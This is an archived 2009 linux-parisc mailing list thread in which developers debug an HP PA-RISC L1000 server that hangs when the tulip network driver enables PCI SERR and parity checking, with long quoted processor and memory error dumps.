> > 24-27  0000000000000000  0000000000000000  000000000c1fc830  00000000406791c0
> > 28-31  000000000c1b4010  000000007f858be0  000000007f858c90  000000000c1b3fd0
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  000000000000011c  0000000000000000  00000000000000c0  0000000000000001
> > 12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
> > 16-19  0000003aeb5d81e1  0000000000000000  00000000402e70d0  000000000f40109c
> > 20-23  00000000a627ff41  000000004fdfc830  000000ff0804ff0f  8000000000000000
> > 24-27  0000000000586000  000000003f892000  ffffffffffffffff  0000000040001480
> > 28-31  ffffffffffffffff  ffffffffffffff2f  000000007f858000  ffffffffffffffff
> > 
> > Space Registers 0 - 7
> > 00-03  0004d800          00000000          00000000          00047000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x00000000402e70d4
> > Check Type                   = 0x20000000
> > CPU State                    = 0x9e000004
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x0030103b
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x000000ffd053f830
> > System Requestor Address     = 0xfffffffffffa0000
> > 
> > 
> > Floating Point Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
> > 08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
> > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
> > 16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
> > 20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000000000000
> > 24-27  0000000000000000  0000000000000000  fffffffffffff000  00000000fefa6000
> > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0
> > 
> > 
> > Check Summary                = 0xcb81000000000000
> > Available Memory             = 0x00000000c0000000
> > CPU Diagnose Register 2      = 0x0203000100802004
> > CPU Status Register 0        = 0x2440c24000000000
> > CPU Status Register 1        = 0x8002000000000000
> > SADD LOG                     = 0x147ffcffffffffff
> > Read Short LOG               = 0xc1af00ffd053f830
> > 
> > 
> > 
> > -----------------  Processor 0 LPMC Information ------------------
> > 
> > Check Type                   = 0x00000000
> > IC Parity Info               = 0x00000000
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x00000000
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x0000000000000000
> > System Requestor Address     = 0x0000000000000000
> > 
> > 
> > 
> > -----------------  Processor 0 TOC Information -------------------
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 
> > Space Registers 0 - 7
> > 00-03  00000000          00000000          00000000          00000000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x0000000000000000
> > CPU State                    = 0x00000000
> > 
> > 
> > 
> > -----------------  Processor 3 HPMC Information - PDC Version: 44.28  ------ 
> > 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> > HPMC Chassis Codes 
> > 
> >        Chassis Code        Extension 
> >        ------------        --------- 
> >        0x0000082000ff6242  0x0000000000000000
> >        0x1800082011036322  0xcb81800000000000
> >        
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  000000004067a9c0  000000004011c18c  0000000043541518
> > 04-07  00000000406791c0  00000000fc985000  000000007f93f000  0000000000000000
> > 08-11  00000000fca67918  000000007f8d9cc0  00000000404eb740  0000000040000000
> > 12-15  0000000000000000  0000000000000200  0000000040311427  0000000000000000
> > 16-19  00000000419e85c8  000000007f93f888  0000000000000000  0000000000000000
> > 20-23  000000000003f93f  00000000fffffffa  0000000000000000  0000000000000040
> > 24-27  0000000000000010  00000000fc985fc0  000000004050a000  00000000406791c0
> > 28-31  0000000000000001  000000007f94c800  000000007f94c830  00000000005282a3
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  0000000000000146  0000000000000000  00000000000000c0  0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
> > 16-19  0000003aeb5d7f36  0000000000000000  000000004011c190  0000000004a01200
> > 20-23  0000000000000000  00000000fc985000  000000ff0804f90f  8000000000000000
> > 24-27  0000000000586000  000000003f952000  fffffffff37f7f00  0000000040001b60
> > 28-31  fffffffff37f7f00  fffffffff37f7f00  000000007f94c000  fffffffff37f7f00
> > 
> > Space Registers 0 - 7
> > 00-03  00051800          00000000          00000000          00051800
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x000000004011c194
> > Check Type                   = 0x20000000
> > CPU State                    = 0x9e000004
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x0030000d
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0xfffffffffffa6000
> > System Requestor Address     = 0xfffffffffffa0000
> > 
> > 
> > Floating Point Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  00000000bf840350  00000000bf840358  0000000000000008
> > 08-11  000000004020b518  00000000ff83a268  0000000000000000  0000000000000002
> > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00  00000000406791c0
> > 16-19  0000000000000002  00000000ff83a268  00000000406879c0  00000000406809c0
> > 20-23  00000000000000ff  00000000406791c0  0000000000000000  0000000a4067a9c0
> > 24-27  0000000000000000  00000000406841c0  fffffffffffff000  00000000fefa6000
> > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c  00000000406791c0
> > 
> > 
> > Check Summary                = 0xcb81800000000000
> > Available Memory             = 0x00000000c0000000
> > CPU Diagnose Register 2      = 0x0203030100802004
> > CPU Status Register 0        = 0x3440c24000000000
> > CPU Status Register 1        = 0x8000000000000000
> > SADD LOG                     = 0x4800000000000000
> > Read Short LOG               = 0xc13ff0f0f0047218
> > 
> > 
> > 
> > -----------------  Processor 3 LPMC Information ------------------
> > 
> > Check Type                   = 0x00000000
> > IC Parity Info               = 0x00000000
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x00000000
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x0000000000000000
> > System Requestor Address     = 0x0000000000000000
> > 
> > 
> > 
> > -----------------  Processor 3 TOC Information -------------------
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000
> > 
> > Space Registers 0 - 7
> > 00-03  00000000          00000000          00000000          00000000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x0000000000000000
> > CPU State                    = 0x00000000
> > 
> > 
> > --------------  Memory Error Log Information  --------------
> > 
> > Bus 0 Log Information
> > 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> >   OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
> >   --  --  --      -----      -  -  -  ----  ---  --  --  --
> >   X       X     ERR_ERROR       X            X           
> > 
> > Bus Requestor Address      = 0xfffffffffffa0000
> > Bus Target Address         = 0x0000000000000000
> > Bus Responder Address      = 0xfffffffffed00000
> > 
> > Error Status Reg           = 0x0000000000100010
> > Runway Control Reg         = 0x0000021c00001418
> > Runway Address Reg         = 0xc1bff0fffed08040
> > Runway Data High Reg       = 0xe840c000083c025c
> > Runway Data Low Reg        = 0xe840c000083c025c
> > Memory Address Reg         = 0x000001ff3fffffff
> > Memory Address Corr Reg    = 0x000001ff3fffffff
> > Memory Syndrome Reg        = 0x0000000000000000
> > Memory Syndrome Corr Reg   = 0x0000000000000000
> > 
> > 
> > 
> >  Address/Control Parity Error Registers  
> > 
> >    Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 
> > 
> > 
> > 
> > ------------  I/O Module Error Log Information  ------------
> > 
> > 
> >    No I/O module errors logged
> > 
> > 
> > Main Menu: Enter command or menu > 
> > 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 31 Jul 2009 09:28:51 +0300 (EEST)
Lines: 424
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0907310923520.710@math.ut.ee>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
 <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1249021761 11435 80.91.229.12 (31 Jul 2009 06:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 06:29:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 31 08:29:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWlc8-0000QS-72
	for glpp-linux-parisc@gmane.org; Fri, 31 Jul 2009 08:29:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751483AbZGaG2x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 02:28:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751811AbZGaG2x
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 02:28:53 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:34128 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751483AbZGaG2w (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 02:28:52 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 90BD26E4BC5;
	Fri, 31 Jul 2009 09:28:51 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 98320FD7A1; Fri, 31 Jul 2009 09:28:51 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 876F9FD79B;
	Fri, 31 Jul 2009 09:28:51 +0300 (EEST)
In-Reply-To: <4A724818.4080909@tausq.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1958>

> Please see http://www.parisc-linux.org/faq/kernelbug-howto.html

Well, I can not find anything about interpreting SER PIM data there?

My system is 2-CPU L1000, that I forgot to re-mention as I reported to 
my old report that anyone but me had probably forgotten. Using GSP. 
ALso, I rebooted the hanging computer using 'RS' from GSP, not 'TC' - 
does that garble PIM data?

> Anyway, from the output below, I suspect maybe we have some kernel functions
> that are not in the right section, since the error happens right after
> "Freeing unused kernel memory"?

No, the real problem is below, this badness on SMP I was told to ignore 
here on this list in spring. The real problem happens after tuli driver 
loading and PCI configuration of the cards. From these, I only have the 
SER PIM data, no kernel backtrace.

> > Begin: Running /scripts/init-premount ... [17179583.856000] Linux Tulip
> > driver version 1.1.15-NAPI (Feb 27, 2007)
> > [17179584.008000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
> > [17179584.028000] tulip0: no phy info, aborting mtable build
> > [17179584.140000] tulip0:  MII transceiver #1 config 1000 status 782d
> > advertising 0061.
> > [17179584.164000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO
> > 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
> > [17179584.428000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
> > [17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 ->
> > 0143)
> > 
> > ************* SYSTEM ALERT **************
> > SYSTEM NAME: scaspdb24
> > DATE: 07/30/2009 TIME: 17:30:06
> > ALERT LEVEL: 7 = reserved
> > 
> > REASON FOR ALERT
> > SOURCE: 0 = unknown, no source stated
> > SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> > PROBLEM DETAIL: 0 = no problem detail
> > 
> > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> >        ON       FLASH         OFF       ON         ON
> > LED State: There was a system interruption that did not take the system
> > down.
> > Check Chassis and Console Logs for error messages.
> > 
> > 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> > 0x5800087000FF6292 00006D06 1E111E06 - type 11 = Timestamp 07/30/2009
> > 17:30:06
[...]

> > Main Menu: Enter command or menu > ser pim
> > 
> > 
> > PROCESSOR PIM INFORMATION
> > 
> > Original Product Number:   A5576A
> > Current Product Number:    A5576A
> > 
> > 
> > -----------------  Processor 0 HPMC Information - PDC Version: 44.28  ------ 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> > HPMC Chassis Codes 
> >        Chassis Code        Extension        ------------        ---------
> > 0x0000082000ff6242  0x0000000000000000
> >        0x1800082011006312  0xcb81000000000000
> >        0x0000087000ff6292  0x000000f0f0000000
> >        0x6000082070006062  0x0000000000100010
> >        0x7000082070006082  0x0000000000b92400
> >        0x7000082379006133  0xc1bff0fffed08040
> >        0x0000080080006310  0x0000000000000001
> >        0x000008008000631f  0x0000000000000000
> >        
> > General Registers 0 - 31
> > 00-03  0000000000000000  00000000402e7098  000000000c1b5c78
> > 000000007f954680
> > 04-07  000000000c1b1000  000000000c1fc800  000000000c1c79b0
> > 000000007f954000
> > 08-11  000000000c1fc830  0000000000000003  00000000fe87e800
> > 000000000c1fc800
> > 12-15  0000000000000000  00000000fb6a2d5e  00000000fb6a2b5e
> > 0000000000000003
> > 16-19  0000000000026420  0000000000000000  00000000fe87e880
> > 000000007f9555b8
> > 20-23  0000000000000000  000000007f9552c0  ffffffffc0000000
> > 0000000000100000
> > 24-27  0000000000000000  0000000000000000  000000000c1fc830
> > 00000000406791c0
> > 28-31  000000000c1b4010  000000007f858be0  000000007f858c90
> > 000000000c1b3fd0
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  000000000000011c  0000000000000000  00000000000000c0
> > 0000000000000001
> > 12-15  0000000000000000  0000000000000000  0000000000103000
> > ff80000000000000
> > 16-19  0000003aeb5d81e1  0000000000000000  00000000402e70d0
> > 000000000f40109c
> > 20-23  00000000a627ff41  000000004fdfc830  000000ff0804ff0f
> > 8000000000000000
> > 24-27  0000000000586000  000000003f892000  ffffffffffffffff
> > 0000000040001480
> > 28-31  ffffffffffffffff  ffffffffffffff2f  000000007f858000
> > ffffffffffffffff
> > 
> > Space Registers 0 - 7
> > 00-03  0004d800          00000000          00000000          00047000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x00000000402e70d4
> > Check Type                   = 0x20000000
> > CPU State                    = 0x9e000004
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x0030103b
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x000000ffd053f830
> > System Requestor Address     = 0xfffffffffffa0000
> > 
> > 
> > Floating Point Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  00000000bf840350  00000000bf840358
> > 0000000000000008
> > 08-11  000000004020b518  00000000ff83a268  0000000000000000
> > 0000000000000002
> > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00
> > 00000000406791c0
> > 16-19  0000000000000002  00000000ff83a268  00000000406879c0
> > 00000000406809c0
> > 20-23  00000000000000ff  00000000406791c0  0000000000000000
> > 0000000000000000
> > 24-27  0000000000000000  0000000000000000  fffffffffffff000
> > 00000000fefa6000
> > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c
> > 00000000406791c0
> > 
> > 
> > Check Summary                = 0xcb81000000000000
> > Available Memory             = 0x00000000c0000000
> > CPU Diagnose Register 2      = 0x0203000100802004
> > CPU Status Register 0        = 0x2440c24000000000
> > CPU Status Register 1        = 0x8002000000000000
> > SADD LOG                     = 0x147ffcffffffffff
> > Read Short LOG               = 0xc1af00ffd053f830
> > 
> > 
> > 
> > -----------------  Processor 0 LPMC Information ------------------
> > 
> > Check Type                   = 0x00000000
> > IC Parity Info               = 0x00000000
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x00000000
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x0000000000000000
> > System Requestor Address     = 0x0000000000000000
> > 
> > 
> > 
> > -----------------  Processor 0 TOC Information -------------------
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 
> > Space Registers 0 - 7
> > 00-03  00000000          00000000          00000000          00000000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x0000000000000000
> > CPU State                    = 0x00000000
> > 
> > 
> > 
> > -----------------  Processor 3 HPMC Information - PDC Version: 44.28  ------ 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> > HPMC Chassis Codes 
> >        Chassis Code        Extension        ------------        ---------
> > 0x0000082000ff6242  0x0000000000000000
> >        0x1800082011036322  0xcb81800000000000
> >        
> > General Registers 0 - 31
> > 00-03  0000000000000000  000000004067a9c0  000000004011c18c
> > 0000000043541518
> > 04-07  00000000406791c0  00000000fc985000  000000007f93f000
> > 0000000000000000
> > 08-11  00000000fca67918  000000007f8d9cc0  00000000404eb740
> > 0000000040000000
> > 12-15  0000000000000000  0000000000000200  0000000040311427
> > 0000000000000000
> > 16-19  00000000419e85c8  000000007f93f888  0000000000000000
> > 0000000000000000
> > 20-23  000000000003f93f  00000000fffffffa  0000000000000000
> > 0000000000000040
> > 24-27  0000000000000010  00000000fc985fc0  000000004050a000
> > 00000000406791c0
> > 28-31  0000000000000001  000000007f94c800  000000007f94c830
> > 00000000005282a3
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  0000000000000146  0000000000000000  00000000000000c0
> > 0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000103000
> > ff80000000000000
> > 16-19  0000003aeb5d7f36  0000000000000000  000000004011c190
> > 0000000004a01200
> > 20-23  0000000000000000  00000000fc985000  000000ff0804f90f
> > 8000000000000000
> > 24-27  0000000000586000  000000003f952000  fffffffff37f7f00
> > 0000000040001b60
> > 28-31  fffffffff37f7f00  fffffffff37f7f00  000000007f94c000
> > fffffffff37f7f00
> > 
> > Space Registers 0 - 7
> > 00-03  00051800          00000000          00000000          00051800
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x000000004011c194
> > Check Type                   = 0x20000000
> > CPU State                    = 0x9e000004
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x0030000d
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0xfffffffffffa6000
> > System Requestor Address     = 0xfffffffffffa0000
> > 
> > 
> > Floating Point Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  00000000bf840350  00000000bf840358
> > 0000000000000008
> > 08-11  000000004020b518  00000000ff83a268  0000000000000000
> > 0000000000000002
> > 12-15  00000000ff83fc10  00000000ff8403f0  00000000ff83fc00
> > 00000000406791c0
> > 16-19  0000000000000002  00000000ff83a268  00000000406879c0
> > 00000000406809c0
> > 20-23  00000000000000ff  00000000406791c0  0000000000000000
> > 0000000a4067a9c0
> > 24-27  0000000000000000  00000000406841c0  fffffffffffff000
> > 00000000fefa6000
> > 28-31  0000000000000000  0000000000000000  ffffffffffffff9c
> > 00000000406791c0
> > 
> > 
> > Check Summary                = 0xcb81800000000000
> > Available Memory             = 0x00000000c0000000
> > CPU Diagnose Register 2      = 0x0203030100802004
> > CPU Status Register 0        = 0x3440c24000000000
> > CPU Status Register 1        = 0x8000000000000000
> > SADD LOG                     = 0x4800000000000000
> > Read Short LOG               = 0xc13ff0f0f0047218
> > 
> > 
> > 
> > -----------------  Processor 3 LPMC Information ------------------
> > 
> > Check Type                   = 0x00000000
> > IC Parity Info               = 0x00000000
> > Cache Check                  = 0x00000000
> > TLB Check                    = 0x00000000
> > Bus Check                    = 0x00000000
> > Assists Check                = 0x00000000
> > Assist State                 = 0x00000000
> > Path Info                    = 0x00000000
> > System Responder Address     = 0x0000000000000000
> > System Requestor Address     = 0x0000000000000000
> > 
> > 
> > 
> > -----------------  Processor 3 TOC Information -------------------
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 
> > 
> > Control Registers 0 - 31
> > 00-03  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 04-07  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 08-11  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 12-15  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 16-19  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 20-23  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 24-27  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 28-31  0000000000000000  0000000000000000  0000000000000000
> > 0000000000000000
> > 
> > Space Registers 0 - 7
> > 00-03  00000000          00000000          00000000          00000000
> > 04-07  00000000          00000000          00000000          00000000
> > 
> > IIA Space (back entry)       = 0x0000000000000000
> > IIA Offset (back entry)      = 0x0000000000000000
> > CPU State                    = 0x00000000
> > 
> > 
> > --------------  Memory Error Log Information  --------------
> > 
> > Bus 0 Log Information
> > 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> >   OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
> >   --  --  --      -----      -  -  -  ----  ---  --  --  --
> >   X       X     ERR_ERROR       X            X           
> > Bus Requestor Address      = 0xfffffffffffa0000
> > Bus Target Address         = 0x0000000000000000
> > Bus Responder Address      = 0xfffffffffed00000
> > 
> > Error Status Reg           = 0x0000000000100010
> > Runway Control Reg         = 0x0000021c00001418
> > Runway Address Reg         = 0xc1bff0fffed08040
> > Runway Data High Reg       = 0xe840c000083c025c
> > Runway Data Low Reg        = 0xe840c000083c025c
> > Memory Address Reg         = 0x000001ff3fffffff
> > Memory Address Corr Reg    = 0x000001ff3fffffff
> > Memory Syndrome Reg        = 0x0000000000000000
> > Memory Syndrome Corr Reg   = 0x0000000000000000
> > 
> > 
> > 
> >  Address/Control Parity Error Registers  
> >    Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 
> > 
> > 
> > ------------  I/O Module Error Log Information  ------------
> > 
> > 
> >    No I/O module errors logged
> > 
> > 
> > Main Menu: Enter command or menu > 
> 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 31 Jul 2009 11:35:17 +0200
Lines: 44
